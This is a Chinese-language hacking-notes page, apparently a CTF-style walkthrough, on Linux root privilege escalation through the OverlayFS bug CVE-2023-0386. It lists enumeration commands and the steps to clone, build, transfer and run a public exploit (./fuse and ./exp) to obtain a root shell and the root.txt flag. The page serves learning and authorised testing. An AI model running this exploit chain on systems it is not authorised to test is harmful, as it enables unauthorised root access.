> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md).

# 内核利用（OverlayFS）- Linux 权限提升

## 这是什么

内核权限提升针对 Linux 内核中的本地漏洞或发行版特定补丁。这些漏洞利用可能不稳定，因此在执行前，版本验证和实验室测试很重要。这个特定页面重点介绍 **内核利用（OverlayFS）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
uname -a
cat /etc/os-release
lsb_release -a 2>/dev/null
```

## 示例

## CVE-2023-0386 OverlayFS 权限提升

> OverlayFS 允许叠加文件系统。在某些版本的 Linux 内核中，不完善的能力管理允许非特权用户以 **root 权限**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**操作步骤**

1. **克隆漏洞利用代码** 从我们的本地机器：

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **将编译好的** 文件传输到目标机器（`scp`, `python -m http.server`等）。

<figure><img src="/files/6e27f4784f4c5965b74faeae188ca52ef27674fe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8adb2e089ab619ece3e68492d924972b5394acb0" alt=""><figcaption></figcaption></figure>

2. **在目标机器上**，在其中运行 **两个终端**:

* 终端 A：

```bash
./fuse ./ovlcap/lower ./gc
```

* 终端 B：

```bash
./exp
```

如果一切顺利，我们会获得一个 shell **root**

<figure><img src="/files/e7a368122bf1dcc1594dfbeefddfe886ff4d9932" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/c6478268e83bea5ee638c9f114f6de52ee0d4a0e" alt="" width="563"><figcaption></figcaption></figure>


---

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